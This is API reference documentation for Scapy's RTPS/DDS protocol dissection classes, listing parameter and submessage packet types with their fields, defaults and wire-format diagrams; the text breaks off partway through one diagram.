+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PID_TYPE_NAME                        


PID_TYPE_NAME fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_UNICAST_LOCATOR(_pkt, /, *, parameterId=0, parameterLength=0, locator=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L281-L295]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            LOCATOR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PID_UNICAST_LOCATOR                     


PID_UNICAST_LOCATOR fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	locator

	PacketField

	b''















	
class scapy.contrib.rtps.pid_types.PID_UNKNOWN(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L518-L519]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. PID_UNKNOWN                         


PID_UNKNOWN fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_USER_DATA(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L151-L152]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PID_USER_DATA                        


PID_USER_DATA fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_VENDOR_BUILTIN_ENDPOINT_SET(_pkt, /, *, parameterId=0, parameterLength=0, flags=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L621-L639]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PID_VENDOR_BUILTIN_ENDPOINT_SET               


PID_VENDOR_BUILTIN_ENDPOINT_SET fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	flags

	EField

	0















	
class scapy.contrib.rtps.pid_types.PID_VENDOR_ID(_pkt, /, *, parameterId=0, parameterLength=0, vendorId=b'', padding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L258-L278]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VENDORID           |            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PID_VENDOR_ID                        


PID_VENDOR_ID fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	vendorId

	PacketField

	b''



	padding

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.ParameterIdField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L44-L109]

	Bases: XShortField


	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L108-L109]

	








	
class scapy.contrib.rtps.pid_types.ParameterListPacket(_pkt, /, *, parameterValues=[], sentinel=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L726-L731]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PARAMETERVALUES        |            SENTINEL           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ParameterListPacket                     


ParameterListPacket fields






	parameterValues

	PacketListField

	[]



	sentinel

	PacketField

	b''















	
scapy.contrib.rtps.pid_types.get_pid_class(pkt, lst, cur, remain)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L708-L723]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.rtps.rtps

Real-Time Publish-Subscribe Protocol (RTPS) dissection


	
class scapy.contrib.rtps.rtps.DataPacket(_pkt, /, *, encapsulationKind=0, encapsulationOptions=0, parameterList=b'', participantMessageData=b'', serializedData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L165-L207]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ENCAPSULATIONKIND       |      ENCAPSULATIONOPTIONS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERLIST         |     PARTICIPANTMESSAGEDATA    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SERIALIZEDDATA        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DataPacket                          


DataPacket fields






	encapsulationKind

	XShortField

	0



	encapsulationOptions

	XShortField

	0



	parameterList

	EPacketField (Cond)

	b''



	participantMessageData

	EPacketField (Cond)

	b''



	serializedData

	SerializedDataField (Cond)

	b''















	
class scapy.contrib.rtps.rtps.GUIDPrefixPacket(_pkt, /, *, hostId=0, appId=0, instanceId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L72-L81]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L80-L81]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             HOSTID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             APPID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           INSTANCEID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. GUIDPrefixPacket                       


GUIDPrefixPacket fields






	hostId

	XIntField

	0



	appId

	XIntField

	0



	instanceId

	XIntField

	0















	
class scapy.contrib.rtps.rtps.InlineQoSPacket(_pkt, /, *, parameters=[], sentinel=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L140-L146]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PARAMETERS          |            SENTINEL           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. InlineQoSPacket                       


InlineQoSPacket fields






	parameters

	PacketListField

	[]



	sentinel

	PacketField

	b''















	
class scapy.contrib.rtps.rtps.ParticipantMessageDataPacket(_pkt, /, *, guidPrefix=b'', kind=0, sequenceSize=0, serializedData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L149-L162]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           GUIDPREFIX          |              KIND             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          SEQUENCESIZE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         SERIALIZEDDATA        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ParticipantMessageDataPacket                 


ParticipantMessageDataPacket fields






	guidPrefix

	PacketField

	b''



	kind

	XIntField

	0



	sequenceSize

	EField

	0



	serializedData

	StrLenField

	b''















	
class scapy.contrib.rtps.rtps.RTPS(_pkt, /, *, magic=b'', protocolVersion=<ProtocolVersionPacket  |>, vendorId=<VendorIdPacket  |>, guidPrefix=<GUIDPrefixPacket  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L84-L137]

	Bases: Packet

RTPS package, overall structure as per DDSI-RTPS v2.3, section 9.4.1
The structure is also discussed at 8.3.3.

The wire representation (bits) is as follows:


0…2………..7……………15………….23………….. 31
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Header (RTPSHeader)                                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Submessage  (RTPSSubmessage)                                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
………………………………………………………..
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Submessage                                                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+




For representation purposes, this package will only contain the header
and other submessages will be bound as layers (bind_layers):

RTPS Header structure as per DDSI-RTPS v2.3, section 9.4.4
The wire representation (bits) is as follows:


0…2………..7……………15………….23……………31
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      ‘R’      |       ‘T’     |      ‘P’      |       ‘S’     |
+—————+—————+—————+—————+
| ProtocolVersion version       | VendorId vendorId             |
+—————+—————+—————+—————+
|                                                               |
+                                                               +
|                 GuidPrefix      guidPrefix                    |
+                                                               +
|                                                               |
+—————+—————+—————+—————+




References:


	https://community.rti.com/static/documentation/wireshark/current/doc/understanding_rtps.html # noqa E501


	https://www.omg.org/spec/DDSI-RTPS/2.3/PDF


	https://www.wireshark.org/docs/dfref/r/rtps.html





	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             MAGIC                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PROTOCOLVERSION        |            VENDORID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           GUIDPREFIX          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. RTPS                             


RTPS fields






	magic

	StrFixedLenField

	b''



	protocolVersion

	PacketField

	<ProtocolVersionPacket  |>



	vendorId

	PacketField

	<VendorIdPacket  |>



	guidPrefix

	PacketField

	<GUIDPrefixPacket  |>











	
payload_guess

	Possible sublayers:
RTPSMessage










	
class scapy.contrib.rtps.rtps.RTPSMessage(_pkt, /, *, submessages=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L513-L517]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SUBMESSAGES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. RTPSMessage                         


RTPSMessage fields






	submessages

	PacketListField

	[]















	
class scapy.contrib.rtps.rtps.RTPSSubMessage_ACKNACK(_pkt, /, *, submessageId=6, submessageFlags=0, octetsToNextHeader=0, reader_id=b'\x00\x00\x00\x00', writer_id=b'\x00\x00\x00\x00', readerSNState=0, count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L314-L356]

	Bases: EPacket

0…2………..7……………15………….23……………31
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   ACKNACK     |     flags     |      octetsToNextHeader       |
+—————+—————+—————+—————+
| EntityId readerEntityId                                       |
+—————+—————+—————+—————+
| EntityId writerEntityId                                       |
+—————+—————+—————+—————+
|                                                               |
+ SequenceNumberSet readerSNState                               +
|                                                               |
+—————+—————+—————+—————+
| Counter count                                                 |
+—————+—————+—————+—————+


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBMESSAGEID |SUBMESSAGEFLAGS|       OCTETSTONEXTHEADER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           READER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           WRITER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         READERSNSTATE         |             COUNT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. RTPSSubMessage_ACKNACK                    


RTPSSubMessage_ACKNACK fields






	submessageId

	XByteField

	6



	submessageFlags

	XByteField

	0



	octetsToNextHeader

	EField

	0



	reader_id

	EnumField

	b'\x00\x00\x00\x00'



	writer_id

	EnumField

	b'\x00\x00\x00\x00'



	readerSNState

	XStrLenField

	0



	count

	EField

	0















	
class scapy.contrib.rtps.rtps.RTPSSubMessage_DATA(_pkt, /, *, submessageId=21, submessageFlags=0, octetsToNextHeader=0, extraFlags=0, octetsToInlineQoS=0, readerEntityIdKey=0, readerEntityIdKind=0, writerEntityIdKey=0, writerEntityIdKind=0, writerSeqNumHi=0, writerSeqNumLow=0, inlineQoS=b'', key=b'', data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L210-L280]

	Bases: EPacket

0…2………..7……………15………….23……………31
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RTPS_DATA     |     flags     |      octetsToNextHeader       |
+—————+—————+—————+—————+
| Flags extraFlags              |      octetsToInlineQos        |
+—————+—————+—————+—————+
| EntityId readerEntityId                                       |
+—————+—————+—————+—————+
| EntityId writerEntityId                                       |
+—————+—————+—————+—————+
|                                                               |
+ SequenceNumber writerSeqNum                                   +
|                                                               |
+—————+—————+—————+—————+
|                                                               |
~ ParameterList inlineQos [only if Q==1]                        ~
|                                                               |
+—————+—————+—————+—————+
|                                                               |
~ SerializedData serializedData [only if D==1 || K==1]          ~
|                                                               |
+—————+—————+—————+—————+


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBMESSAGEID |SUBMESSAGEFLAGS|       OCTETSTONEXTHEADER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRAFLAGS          |       OCTETSTOINLINEQOS       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       READERENTITYIDKEY                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|READERENTITYIDK|               WRITERENTITYIDKEY               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |WRITERENTITYIDK|         WRITERSEQNUMHI        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        WRITERSEQNUMLOW        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           INLINEQOS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              KEY              |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. RTPSSubMessage_DATA                     


RTPSSubMessage_DATA fields






	submessageId

	XByteField

	21



	submessageFlags

	XByteField

	0



	octetsToNextHeader

	EField

	0



	extraFlags

	XNBytesField

	0



	octetsToInlineQoS

	EField

	0



	readerEntityIdKey

	X3BytesField

	0



	readerEntityIdKind

	XByteField

	0



	writerEntityIdKey

	X3BytesField

	0



	writerEntityIdKind

	XByteField

	0



	writerSeqNumHi

	EField

	0



	writerSeqNumLow

	EField

	0



	inlineQoS

	InlineQoSPacketField (Cond)

	b''



	key

	DataPacketField (Cond)

	b''



	data

	DataPacketField (Cond)

	b''















	
class scapy.contrib.rtps.rtps.RTPSSubMessage_DATA_FRAG(_pkt, /, *, uninterpreted_data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L453-L455]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       UNINTERPRETED DATA      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. RTPSSubMessage_DATA_FRAG                   


RTPSSubMessage_DATA_FRAG fields






	uninterpreted_data

	StrField

	0















	
class scapy.contrib.rtps.rtps.RTPSSubMessage_GAP(_pkt, /, *, uninterpreted_data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L483-L485]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       UNINTERPRETED DATA      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. RTPSSubMessage_GAP                      


RTPSSubMessage_GAP fields






	uninterpreted_data

	StrField

	0















	
class scapy.contrib.rtps.rtps.RTPSSubMessage_HEARTBEAT(_pkt, /, *, submessageId=7, submessageFlags=0, octetsToNextHeader=0, reader_id=b'\x00\x00\x00\x00', writer_id=b'\x00\x00\x00\x00', firstAvailableSeqNumHi=0, firstAvailableSeqNumLow=0, lastSeqNumHi=0, lastSeqNumLow=0, count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L359-L409]

	Bases: EPacket

0…2………..7……………15………….23……………31
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   HEARTBEAT   |     flags     |      octetsToNextHeader       |
+—————+—————+—————+—————+
| EntityId readerEntityId                                       |
+—————+—————+—————+—————+
| EntityId writerEntityId                                       |
+—————+—————+—————+—————+
|                                                               |
+ SequenceNumber firstAvailableSeqNumber                        +
|                                                               |
+—————+—————+—————+—————+
|                                                               |
+ SequenceNumber lastSeqNumber                                  +
|                                                               |
+—————+—————+—————+—————+
| Counter count                                                 |
+—————+—————+—————+—————+


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBMESSAGEID |SUBMESSAGEFLAGS|       OCTETSTONEXTHEADER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           READER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           WRITER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     FIRSTAVAILABLESEQNUMHI                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    FIRSTAVAILABLESEQNUMLOW                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          LASTSEQNUMHI                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTSEQNUMLOW                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             COUNT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. RTPSSubMessage_HEARTBEAT                   


RTPSSubMessage_HEARTBEAT fields






	submessageId

	XByteField

	7



	submessageFlags

	XByteField

	0



	octetsToNextHeader

	EField

	0



	reader_id

	EnumField

	b'\x00\x00\x00\x00'



	writer_id

	EnumField

	b'\x00\x00\x00\x00'



	firstAvailableSeqNumHi

	EField

	0



	firstAvailableSeqNumLow

	EField

	0



	lastSeqNumHi

	EField

	0



	lastSeqNumLow

	EField

	0



	count

	EField

	0















	
class scapy.contrib.rtps.rtps.RTPSSubMessage_INFO_DST(_pkt, /, *, submessageId=14, submessageFlags=0, octetsToNextHeader=0, guidPrefix=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L412-L433]

	Bases: EPacket

0…2………..7……………15………….23……………31
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   INFO_DST    |     flags     |      octetsToNextHeader       |
+—————+—————+—————+—————+
|                                                               |
+ GuidPrefix guidPrefix                                         +
|                                                               |
+—————+—————+—————+—————+


	
aliastypes

	




	
endianness = '>'

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBMESSAGEID |SUBMESSAGEFLAGS|       OCTETSTONEXTHEADER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           GUIDPREFIX          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. RTPSSubMessage_INFO_DST                   


RTPSSubMessage_INFO_DST fields






	submessageId

	XByteField

	14



	submessageFlags

	XByteField

	0



	octetsToNextHeader

	EField

	0



	guidPrefix

	PacketField

	b''















	
class scapy.contrib.rtps.rtps.RTPSSubMessage_INFO_TS(_pkt, /, *, submessageId=9, submessageFlags=<Flag 0 ()>, octetsToNextHeader=0, ts_seconds=0, ts_fraction=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L283-L311]

	Bases: EPacket

0…2………..7……………15………….23……………31
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   INFO_TS     |     flags     |      octetsToNextHeader       |
+—————+—————+—————+—————+
|                                                               |
+ Timestamp timestamp [only if T==1]                            +
|                                                               |
+—————+—————+—————+—————+


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBMESSAGEID |SUBMESSAGEFLAGS|       OCTETSTONEXTHEADER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TS SECONDS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          TS FRACTION                          |
